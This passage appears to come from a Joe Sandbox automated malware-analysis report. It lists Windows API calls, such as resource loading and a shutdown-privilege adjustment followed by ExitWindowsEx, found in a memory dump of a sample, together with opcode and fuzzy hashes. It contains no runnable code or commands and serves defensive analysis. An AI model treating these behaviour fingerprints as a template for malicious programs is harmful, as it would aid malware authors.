                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Virtual$AllocFree
                                                                                          • String ID:
                                                                                          • API String ID: 2087232378-0
                                                                                          • Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
                                                                                          • Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
                                                                                          • Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
                                                                                          • Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9
                                                                                          APIs
                                                                                          • GetSystemDefaultLCID.KERNEL32(00000000,004053B6), ref: 0040529F
                                                                                            • Part of subcall function 00404CDC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404CF9
                                                                                            • Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DefaultInfoLoadLocaleStringSystem
                                                                                          • String ID:
                                                                                          • API String ID: 1658689577-0
                                                                                          • Opcode ID: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
                                                                                          • Instruction ID: b95c725f163960c8622ba1b0af82130980b93a97e76f79286a035b518bc8de08
                                                                                          • Opcode Fuzzy Hash: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
                                                                                          • Instruction Fuzzy Hash: 90314F75E01509ABCB00DF95C8C19EEB379FF84304F158577E815BB286E739AE068B98
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID:
                                                                                          • API String ID: 823142352-0
                                                                                          • Opcode ID: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
                                                                                          • Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
                                                                                          • Opcode Fuzzy Hash: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
                                                                                          • Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateFile
                                                                                          • String ID:
                                                                                          • API String ID: 823142352-0
                                                                                          • Opcode ID: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
                                                                                          • Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
                                                                                          • Opcode Fuzzy Hash: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
                                                                                          • Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8
                                                                                          APIs
                                                                                          • GetFileAttributesA.KERNEL32(00000000,00000000,00406A24,?,?,?,?,00000000,?,00406A39,00406D67,00000000,00406DAC,?,?,?), ref: 00406A07
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AttributesFile
                                                                                          • String ID:
                                                                                          • API String ID: 3188754299-0
                                                                                          • Opcode ID: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
                                                                                          • Instruction ID: ccd219c895c276d3a4f2ed408fb3af00451e62210c6f1137e8185e88dac79a2a
                                                                                          • Opcode Fuzzy Hash: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
                                                                                          • Instruction Fuzzy Hash: A0E0ED30300304BBD301FBA6CC42E4ABBECDB8A708BA28476B400B2682D6786E108428
                                                                                          APIs
                                                                                          • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF
                                                                                            • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorFileLastWrite
                                                                                          • String ID:
                                                                                          • API String ID: 442123175-0
                                                                                          • Opcode ID: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
                                                                                          • Instruction ID: d11fc940c1eb4d9ab9bd5ee1403c634941755763b259216c6d34bff68e3e8731
                                                                                          • Opcode Fuzzy Hash: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
                                                                                          • Instruction Fuzzy Hash: 6DE0ED766081106BD710A65AD880EAB67DCDFC5764F00407BF904DB291D574AC049676
                                                                                          APIs
                                                                                          • FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00409127,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004072A3
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FormatMessage
                                                                                          • String ID:
                                                                                          • API String ID: 1306739567-0
                                                                                          • Opcode ID: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
                                                                                          • Instruction ID: 7b38442d06f496379890204edef453c821f476d6c52b93f329ea0e63e965d40b
                                                                                          • Opcode Fuzzy Hash: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
                                                                                          • Instruction Fuzzy Hash: 17E0D8A0B8830136F22414544C87B77220E47C0700F10807E7700ED3C6D6BEA906815F
                                                                                          APIs
                                                                                          • SetEndOfFile.KERNEL32(?,020B7FF4,0040AA59,00000000), ref: 004076B3
                                                                                            • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorFileLast
                                                                                          • String ID:
                                                                                          • API String ID: 734332943-0
                                                                                          • Opcode ID: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
                                                                                          • Instruction ID: f788b2e916ece263959a2b362e6cc5638f15ca068e5e6b6e193a7bb405067b9b
                                                                                          • Opcode Fuzzy Hash: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
                                                                                          • Instruction Fuzzy Hash: BEC04CA1A1410047CB40A6BE89C1A1666D85A4821530485B6B908DB297D679E8004666
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(?,00407019), ref: 0040700C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorMode
                                                                                          • String ID:
                                                                                          • API String ID: 2340568224-0
                                                                                          • Opcode ID: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
                                                                                          • Instruction ID: c47f2f618e2971e07f5b1abb1c43dc6c143ad8b034d1ddbdae76011a93498253
                                                                                          • Opcode Fuzzy Hash: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
                                                                                          • Instruction Fuzzy Hash: 54B09B76A1C2415DE705DAD5745153863D4D7C47143A14977F104D35C0D53DA4144519
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(?,00407019), ref: 0040700C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorMode
                                                                                          • String ID:
                                                                                          • API String ID: 2340568224-0
                                                                                          • Opcode ID: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
                                                                                          • Instruction ID: a55afa0689d716a84ca499c05243e055e04a08b2ab071a0afeb25d409e08decd
                                                                                          • Opcode Fuzzy Hash: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
                                                                                          • Instruction Fuzzy Hash: FFA022A8C08000B2CE00E2E08080A3C23283A88308BC08BA2320CB20C0C03CE008020B
                                                                                          APIs
                                                                                          • CharPrevA.USER32(?,?,0040696C,?,00406649,?,?,00406D87,00000000,00406DAC,?,?,?,?,00000000,00000000), ref: 00406972
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CharPrev
                                                                                          • String ID:
                                                                                          • API String ID: 122130370-0
                                                                                          • Opcode ID: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
                                                                                          • Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
                                                                                          • Opcode Fuzzy Hash: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
                                                                                          • Instruction Fuzzy Hash:
                                                                                          APIs
                                                                                          • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407FA0
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AllocVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 4275171209-0
                                                                                          • Opcode ID: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
                                                                                          • Instruction ID: 1e7236936b067224bcb0a7c190bcfb18a105a15b1652d3161176e1d0ad605fa4
                                                                                          • Opcode Fuzzy Hash: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
                                                                                          • Instruction Fuzzy Hash: 43116371A042059BDB00EF19C881B5B7794AF44359F05807AF958AB2C6DB38E800CBAA
                                                                                          APIs
                                                                                          • VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FreeVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 1263568516-0
                                                                                          • Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
                                                                                          • Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
                                                                                          • Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
                                                                                          • Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseHandle
                                                                                          • String ID:
                                                                                          • API String ID: 2962429428-0
                                                                                          • Opcode ID: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
                                                                                          • Instruction ID: e7ddd8f09f86228f97b62737e097d00c20d119481f2284b048c56b7aa048eabb
                                                                                          • Opcode Fuzzy Hash: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
                                                                                          • Instruction Fuzzy Hash: 41D05E82B00A6017D615F2BE4D8869692D85F89685B08843AF654E77D1D67CEC00838D
                                                                                          APIs
                                                                                          • VirtualFree.KERNEL32(?,00000000,00008000,?,00407E9D), ref: 00407ECF
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FreeVirtual
                                                                                          • String ID:
                                                                                          • API String ID: 1263568516-0
                                                                                          • Opcode ID: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
                                                                                          • Instruction ID: 622015b425f940adf6dc1d0f89e873b9c6d17cfe6f0c2733970da1323f12c917
                                                                                          • Opcode Fuzzy Hash: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
                                                                                          • Instruction Fuzzy Hash: 3ED0E9B17553055BDB90EEB98CC1B0237D8BB48610F5044B66904EB296E674E8009654
                                                                                          APIs
                                                                                          • GetCurrentProcess.KERNEL32(00000028), ref: 00409457
                                                                                          • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040945D
                                                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00409476
                                                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 0040949D
                                                                                          • GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004094A2
                                                                                          • ExitWindowsEx.USER32(00000002,00000000), ref: 004094B3
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
                                                                                          • String ID: SeShutdownPrivilege
                                                                                          • API String ID: 107509674-3733053543
                                                                                          • Opcode ID: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
                                                                                          • Instruction ID: 55e16e97e4c30333ef6e9d7cb44a764448f3c494fd9ead6bbbdf5d5bb2f9c1eb
                                                                                          • Opcode Fuzzy Hash: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
                                                                                          • Instruction Fuzzy Hash: 61F012B069830179E610AAB18D07F6762885BC4B18F50493ABB15FA1C3D7BDD809466F
                                                                                          APIs
                                                                                          • FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409C3E
                                                                                          • SizeofResource.KERNEL32(00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 00409C51
                                                                                          • LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92,?,00000000), ref: 00409C63
                                                                                          • LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92), ref: 00409C74
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Resource$FindLoadLockSizeof
                                                                                          • String ID:
                                                                                          • API String ID: 3473537107-0
                                                                                          • Opcode ID: 66472a43d98f2116202d14454299061058d21427157a3f4f4112e001326967e1
                                                                                          • Instruction ID: 5c2a5118689e511edc0a9dde7e1b9e77d0383d271af581b44440e1e73e890ea9
                                                                                          • Opcode Fuzzy Hash: 66472a43d98f2116202d14454299061058d21427157a3f4f4112e001326967e1
                                                                                          • Instruction Fuzzy Hash: B0E07E80B8874726FA6576FB08C7B6B008C4BA570EF00003BB700792C3DDBC8C04462E
                                                                                          APIs
                                                                                          • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoLocale
                                                                                          • String ID:
                                                                                          • API String ID: 2299586839-0
                                                                                          • Opcode ID: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
                                                                                          • Instruction ID: 1db3d1c1bb6fab5f91442dea8a08a829cd161d84d3a7e1f0c2fe21aaaafd944f
                                                                                          • Opcode Fuzzy Hash: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
                                                                                          • Instruction Fuzzy Hash: 9ED02EA230E2006AE210808B2C84EBB4A9CCEC53A0F00007FF648C3242D2208C029B76
                                                                                          APIs
                                                                                          • GetSystemTime.KERNEL32(?), ref: 004026CE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: SystemTime
                                                                                          • String ID:
                                                                                          • API String ID: 2656138-0
                                                                                          • Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
                                                                                          • Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
                                                                                          • Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
                                                                                          • Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748
                                                                                          APIs
                                                                                          • GetVersionExA.KERNEL32(?,004065F0,00000000,004065FE,?,?,?,?,?,0040A622), ref: 00405D02
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Version
                                                                                          • String ID:
                                                                                          • API String ID: 1889659487-0
                                                                                          • Opcode ID: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
                                                                                          • Instruction ID: 4c33b40dd65743d8d98a5ffd827b1eb297e5dd4f71424004bfe2d5ab9b26ea54
                                                                                          • Opcode Fuzzy Hash: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
                                                                                          • Instruction Fuzzy Hash: 00C0126040070186D7109B31DC02B1672D4AB44310F4405396DA4963C2E73C80018A6E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000000.00000002.3383514883.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000000.00000002.3383483279.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383544348.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                          • Associated: 00000000.00000002.3383571483.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_0_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 4d767100099eb102bdc21c19fdb755dbde7929e86d9821f584b3da527505dd0e
                                                                                          • Instruction ID: 7dc6dc86846b3232beed044054ddb30c9891ac2fec336679fba6e94018ae2b4c
                                                                                          • Opcode Fuzzy Hash: 4d767100099eb102bdc21c19fdb755dbde7929e86d9821f584b3da527505dd0e
